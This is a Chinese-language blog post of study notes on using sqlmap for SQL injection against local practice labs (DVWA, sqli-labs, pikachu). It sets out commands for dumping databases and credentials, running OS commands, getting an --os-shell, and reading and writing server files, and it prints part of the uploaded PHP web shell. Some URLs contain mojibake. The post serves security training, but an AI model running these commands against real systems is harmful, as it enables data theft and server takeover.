(本文僅為平時學習記錄,若有錯誤請大佬指出,如果本文能幫到你那我也是很開心啦)
一、介紹
1.SQL注入工具:明小子、啊D、羅卜頭、穿山甲、SQLMAP等等
2.SQLMAP:使用python開發,開源自動化注入利用工具,支持12種數據庫 ,在/plugins/dbms中可以看到支持的數據庫種類,在所有注入利用工具中它是最好用的!!!
3.支持的注入類型:bool、time、報錯、union、堆查詢、內聯
4.功能:
- 可以獲取用戶名、密碼、權限、角色、數據庫(表、字段、內容)
- 可以爆破識別密文數據
- getshell(反彈shell)
- 命令執行
- 脫庫或刪庫
二、SQLMAP的目錄介紹:
| 目錄 | 介紹 |
| doc | 介紹文檔 |
| extra | sqlmap額外的功能,運行cmd、執行命令 |
| lib | sqlmap 的核心功能代碼 |
| plugins | 包含12種數據庫的識別程序 |
| data | 存放一些攻擊過程種使用的工具或者命令 |
| /data/procs | 包含了mssql、mysql、oracle、postgresql這四種數據庫的觸發程序 |
| /data/shell | 遠程命令、后門 |
| /data/txt | 表名、列名、UA字典 |
| /data/udf | 存放攻擊載荷(payload) |
| /data/XML | 存放檢測腳本(payload) |
| tamper | 包含各種繞過WAF的處理腳本 |
| thirdparty | 包含第三方插件,如顏色、優化等等 |
| waf | 識別WAF的腳本 |
三、SQLMAP的工作流程
1.初始化
1 salmap -v 查看版本 2 salmap --update 更新
2.開始檢測
- 檢測之前是否注入過(會把當前檢測URL 默認存放在用戶家目錄中.sqlmap下的output),使用--output-dir可指定存放的目錄
- 解析URL,判斷URL是否可訪問
- 檢測是否有WAF
sqlmap -u "目標url" --identify-waf sqlmap -u "目標url" --check-waf
- 執行用戶輸入的參數
1 -u 指定URL 2 -p 指定參數 3 -v 指定顯示級別 4 --dbs 目標服務器中的數據庫 5 --current-db 當前數據庫 6 --tables 目標數據庫有什么表 7 --columns 目標表中有什么列 8 --dump 獲取數據 9 --batch 跳過問詢(yes)之間執行,批處理,在檢測過程中會問用戶一些問題,使用這個參數統統使用默認值 10 --dbms 指定數據庫類型 11 --current-user 查看當前用戶 12 --users 查看所有用戶 13 --passwords 數據庫密碼 14 --hostname 系統名稱 15 --banner 數據庫信息 16 --roles 數據庫用戶角色 17 等等
四、步驟詳解
- GET型注入的SQLMAP利用方法:
1.判斷是否有注入點
sqlmap -u "目標url"
- 當看到探測的結果中有沒有環境參數(系統類型和數據庫類型),則表明有注入
2.查看所有數據庫
1 sqlmap -u "目標_url" --dbs --dbms mysql 2 --dbms=DBMS 指定目標數據庫類型
3.獲取當前數據庫
sqlmap -u "目標_url" --current-db --dbms mysql
4.獲取當前數據庫下表
1 sqlmap -u "目標_url" -D 庫名 --dbms mysql --tables --batch -v 2 -D DB 指定從某個數據庫查詢數據 3 -v 顯示信息的級別,一共有六級: 4 0:只顯示python 錯誤和一些嚴重信息 5 1:顯示基本信息(默認) 6 2:顯示debug信息 7 3:顯示注入過程的payload 8 4:顯示http請求包 9 5:顯示http響應頭 10 6:顯示http相應頁面
5.獲取當前數據庫中指定表下的字段
1 sqlmap -u "目標url" -D 庫名 -T 表名 --columns 2 -T TBL 指定從某個表查詢數據
6.獲取指定字段對應的數據內容
1 sqlmap -u "目標url" -D 庫名 -T 表名 -C 字段名1,字段名2,等等 --dump 2 -C COL 指定從某個列查詢數據 3 --dump 查詢指定范圍的全部數據 4 (對加密的密碼進行彩虹表攻擊)
五、SQLMAP工具測試
- GET型 ,測試使用DVWA中的SQL Injection模塊(Low級別)
1.檢測是否有注入點
sqlmap -u "http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#"

- 翻譯(注入過程中詢問的內容):
| sqlmap got a 302 redirect to 'http://127.0.0.1:80/dvwa/login.php' sqlmap得到302重定向到“http://127.0.0.1:80/dvwa/login.php” you have not declared cookie(s), while server wants to set its own ('PHPSESSID=ua503vlvaom...715dscplg7;security=impossible;security=impossible') 您尚未聲明cookie,而服務器希望設置自己的cookie('phpsessid=ua503vlvaom…715dscplg7;security=impossible;security=impossible') |
-
由上圖可知,結果是跳轉到登錄頁面,是需要帶cookie的,查到session為nh9elbltn3coe0kgvdnq1l6755(在地址欄種輸入javascript:alert(document.cookie)查詢cookie)
sqlmap.py -u "http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low;PHPSESSID=nh9elbltn3coe0kgvdnq1l6755" --batch
- POST型注入的SQLMAP利用方法(這種方式GET型數據也可利用):
1.攔截數據包


2.將攔截到的數據包保存在post.txt文件里
- 右鍵空白處,選擇Cope to file


3.查看post.txt的內容

4.使用SQLMAP進行檢測
1 python sqlmap.py -r C:\Users\admin\Desktop\post.txt -p "uname" --batch 2 -r 讀取指定的文件 3 -p 告訴SQLMAP測試哪個參數

六、cookie 注入
1.介紹:數據經過cookie發送給服務器,cookie可以傳輸參數,並且有注入點
2.cookie型注入利用方法(測試使用sqli-labs第20關):

- 抓取的數據包來源於下面的界面


- 將抓取到的數據包發送到Repeater模塊中,Go一下,查看回顯

- 檢測注入點

- 將此數據包保存在post_cookie.txt文件里(這個數據類型是GET型,當時寫錯了)


- 使用SQLMAP進行檢測
python sqlmap.py -r C:\Users\admin\Desktop\post_cookie.txt --cookie "uname=12" --level 2 --level=LEVEL 執行測試的等級(1-5,默認是1,lv2:cookie; lv3:user-agent,refere; lv5:host 在sqlmap/xml/payloads文件內可以看見各個level發送的payload) 或sqlmap.py -r C:\Users\admin\Desktop\post_cookie.txt --level 2

-
- 從回顯中可以看到,SQLMAP自動將獲取到的數據記錄到了一個目錄下,進入到該目錄下的127.0.0.1中,該目錄下的log記錄的檢查出的結果


七、XFF注入
- 注入基本過程(方法與cookie注入類似)
1.攔包
2.使用SQLMAP檢查注入點
- GET型數據:
sqlmap -u “目標URL” -p “x-forwarded-for” -level 3
- POST型數據:
sqlmap -r post_xff.txt --level 3
八、UA注入
- 測試使用sqli-labs第18關
- 注入基本過程(方法與cookie注入類似)
1.攔包
2.使用SQLMAP檢查注入點
- GET型數據:
sqlmap -u “目標URL” -p “user-agent” -level 3
- POST型數據:
1 sqlmap -r post_ua.txt --level 3 --dbms mysql --batch 2 --dbms 指定目標數據庫類型 3 sqlmap -r post_ua.txt --level 3 --current-user 4 --current-user 查看當前用戶
九、SQLMAP注入點執行系統命令或交互式shell
1.條件:
- 數據庫有讀寫文件的權限
- 需要知道WEB站點的路徑(可使用select @@datadir)
2.使用SQLMAP執行系統命令
1 sqlmap.py -u “目標URL” --os-cmd=ipconfig 2 --os-cmd=OSCMD 執行一句系統命令 3 sqlmap -r post_ua.txt --level 3 --os-cmd=ipconfig 執行系統命令ipconfig 4 sqlmap -r post_ua.txt --level 3 --os-shell 獲取系統的shell 5 sqlmap -r post_ua.txt --level 3 --is-dba 判斷當前用戶是否為管理員
十、延時注入
1 sqlmap.py -u "目標url" --delay 2 2 --delay 2 延時2S注入
十一、執行數據庫命令
- 命令:
1 --sql-query=QUERY 執行一個sql語句 2 --sql-shell 創建一個sql的shell(獲取一個交互式的數據庫終端) 3 --sql-file=SQLFILE 執行一個給定文件中的sql語句
- 注入利用:
- 測試使用pikachu里的sqli中字符型注入(需要在Github中查找資源並搭建)
1.瀏覽網站pikachu,http://127.0.0.1/pikachu/vul/sqli/sqli_str.php?name=admin&submit=查询

2.使用SQLMAP檢測注入點
sqlmap.py -u "http://127.0.0.1/pikachu/vul/sqli/sqli_str.php?name=admin&submit=æ¥è¯¢" --batch

3.根據回顯存在注入點,使用SQLMAP執行數據庫命令
sqlmap.py -u "http://127.0.0.1/pikachu/vul/sqli/sqli_str.php?name=admin&submit=æ¥è¯¢" -p name --dbms mysql --os-cmd=whoami
- 在下圖紅框內可以看到系統命令被正常執行

-
- 翻譯(注入過程中詢問的內容):
| Web服務器支持哪種Web應用程序語言? [1]asp [2]ASPX [3]jsp [4]php(默認) >4 是否希望sqlmap進一步嘗試觸發完整路徑泄漏?[是/否]是 [21:34:02][警告]無法自動檢索Web服務器文檔根目錄 要將什么用於可寫目錄? [1]公共位置(C:/xampp/htdocs/,C:/wamp/www/,C:/inetpub/wwwroot/')(默認) [2]自定義位置 [3]自定義目錄列表文件 [4]蠻力搜索 >2 是否要檢索命令標准輸出?[是/否/否]是 命令標准輸出:“desktop-18q770s\admin” 請提供一個逗號分隔的絕對目錄路徑列表:f:\phpstudy_64\phpstudy_Pro\www//路徑需要自己輸入 |
4.獲取一個交互式的數據庫終端
sqlmap.py -u "http://127.0.0.1/pikachu/vul/sqli/sqli_str.php?name=admin&submit=æ¥è¯¢" -p name --dbms mysql --os-shell

- 在注入過程中會自動生成后門文件

-
- 翻譯:
| [21:40:33][info]文件暫存器已成功上載到“f:/phpstudy_64/phpstudy_Pro/www/”-http://127.0.0.1:80/tmpupjuy.php [21:40:33][info]后門已成功上載到“f:/phpstudy_64/phpstudy_Pro/www/”-http://127.0.0.1:80/tmpbaqhn.php |
-
-
在瀏覽器中兩個文件訪問查看效果
-
http://127.0.0.1/tmpupjuy.php 輔助工具,用來上傳木馬
-
-

-
-
-
http://127.0.0.1/tmpbaqhn.php 木馬
-
-

-
-
-
- 其內容為:
-
-
<?php $c=$_REQUEST["cmd"];
-
-
-
- 瀏覽http://127.0.0.1/tmpbaqhn.php?cmd=whoami,可以看到其功能
-
-

十二、SQLMAP 直連mysql數據庫
1 python sqlmap.py -d "mysql://root:root@目標IP:3306/mysql" -f --banner --dbs --users 2 -f, --fingerprint 指紋信息,返回DBMS,操作系統,架構,補丁等信息 3 --hostname 獲取系統信息 4 --banner 獲取數據庫信息 5 --roles 獲取數據庫用戶角色
十三、sqlmap注入利用Access
1.Access數據庫:沒有庫的概念,打開數據庫文件看到只有表和字段以及內容
2.Access注入過程(注意其特性,只有表和表下的字段內容):
- 先探測注入點
- 獲取數據庫表
sqlmap.py -u "目標url" --tables 獲取所有的數據表
- 獲取字段
sqlmap.py -u "目標url" -T 表名 --columns 獲取字段
- 獲取字段內容
sqlmap.py -u "目標url" -T 表名 -C 字段名 --dump 獲取字段內容
十四、SQLMAP結合BP日志進行被動式注入發現
- 測試在pikachu里的sqli中數字型注入
1.開啟BP2.1的日志記錄功能,並將日志內容保存到桌面log.txt中

- 勾選后會彈出下面的窗口,我選擇的是已經建好的文件log.txt,彈出警告,選擇Yes即可


2.抓包


3.在瀏覽器中多進行幾次提交,需要提前關閉BP中的Intercept is on,然后打開log.txt,瀏覽器提交的數據全部進入到了log.txt中

4.使用SQLMAP進行檢測
1 sqlmap.py -l C:\Users\admin\Desktop\log.txt --batch 2 -l 后接一個log文件,可以是burp等的代理的log文件,之后sqlmap會掃描log中的所有記錄

- 翻譯(最后一句):
| 您可以在csv文件“c:\ users\admin\appdata\local\sqlmap\output\results-10302019_1119pm.csv”中找到以多目標模式掃描的結果。 |
5.打開results-10302019_1119pm.csv文件,可知該URL中存在的注入類型

(Parameter:參數 Technique:技術)
- SQLMAP指定測試注入的技術:
1 python sqlmap.py -u “目標URL” -dbms mysql --technique=T 2 --technique=TECH 指定所使用的技術(B:布爾盲注;E:報錯注入;U:聯合查詢注入;S:文件系統,操作系統,注冊表相關注入;T:時間盲注; 默認全部使用) 3 B: Boolean-based blind SQL injection(布爾型注入) 4 E: Error-based SQL injection(報錯型注入) 5 U: UNION query SQL injection(可聯合查詢注入) 6 S: Stacked queries SQL injection(可多語句查詢注入) 7 T: Time-based blind SQL injection(基於時間延遲注入) 8 Q: inline_query SQL injection(內聯注入)
十五、SQLMAP讀寫文件
- 命令:
1 --file-read=RFILE 從后端的數據庫管理系統文件系統讀取文件 (物理路徑) 2 --file-write=WFILE 編輯后端的數據庫管理系統文件系統上的本地文件 (mssql xp_shell) 3 --file-dest=DFILE 后端的數據庫管理系統寫入文件的絕對路徑
- 測試使用pikachu里的sqli中字符型注入
1.使用SQLMAP讀文件
sqlmap.py -u "http://127.0.0.1/pikachu/vul/sqli/sqli_str.php?name=admin&submit=æ¥è¯¢" -p name --dbms mysql --file-read="F:\phpStudy_64\phpstudy_pro\WWW\PDO_kuanjiezi.php"

- 翻譯:
| 正在獲取文件:“f:/phpstudy_64/phpstudy_Pro/www/pdo_kuanjiezi.php” 是否確認已從后端DBMS文件系統成功下載遠程文件“f:/phpstudy_64/phpstudy_Pro/www/pdo_kuanjiezi.php”?[是/否]是 [23:57:05][info]本地文件'c:\ users\admin\appdata\local\sqlmap\output\127.0.0.1\files\f_u phpstudy_u phpstudy_u pro_www_u kuanjiezi.php'和遠程文件'f:/phpstudy_u 64/phpstudy_u pro/www/pdo_u kuanjiezi.php'具有相同的大小(988b) 文件保存到[1]: C:\Users\admin\AppData\Local\sqlmap\output\127.0.0.1\files [23:57:05][info]獲取的數據記錄到文本文件中,位於“C:\users\admin\appdata\local\sqlmap\output\127.0.0.1”下 |
- 進入C:\users\admin\appdata\local\sqlmap\output\127.0.0.1目錄下,里面有讀取到的文件的記錄,使用SQLMAP讀取文件成功


2.使用SQLMAP寫文件
- 新建log.txt文件,並寫入以下內容

- 使用SQLMAP寫文件
sqlmap.py -u "http://127.0.0.1/pikachu/vul/sqli/sqli_str.php?name=admin&submit=æ¥è¯¢" -p name --dbms mysql --file-dest="F:\phpStudy_64\phpstudy_pro\WWW\loglog.php(目標服務器中的文件,絕對路徑)" --file-write="C:\Users\admin\Desktop\log.txt(攻擊者電腦中的文件路徑)"

-
- 翻譯:
| 是否要確認本地文件“c:/users/admin/desktop/log.txt”已成功寫入后端DBMS文件系統(“f:/phpstudy_64/phpstudy_Pro/www/loglog.php”)。[是/否]是 [00:08:58][info]遠程文件“f:/phpstudy_64/phpstudy_Pro/www/loglog.php”比本地文件“c:/users/admin/desktop/log.txt”(18b)大(19b) [00:08:58][info]獲取的數據記錄到文本文件中,位於“C:\users\admin\appdata\local\sqlmap\output\127.0.0.1”下 |
-
使用WinHex打開F:/phpstudy_64/phpstudy_Pro/www/loglog.php

- 使用瀏覽器進行訪問,可以看到使用SQLMAP寫入文件成功

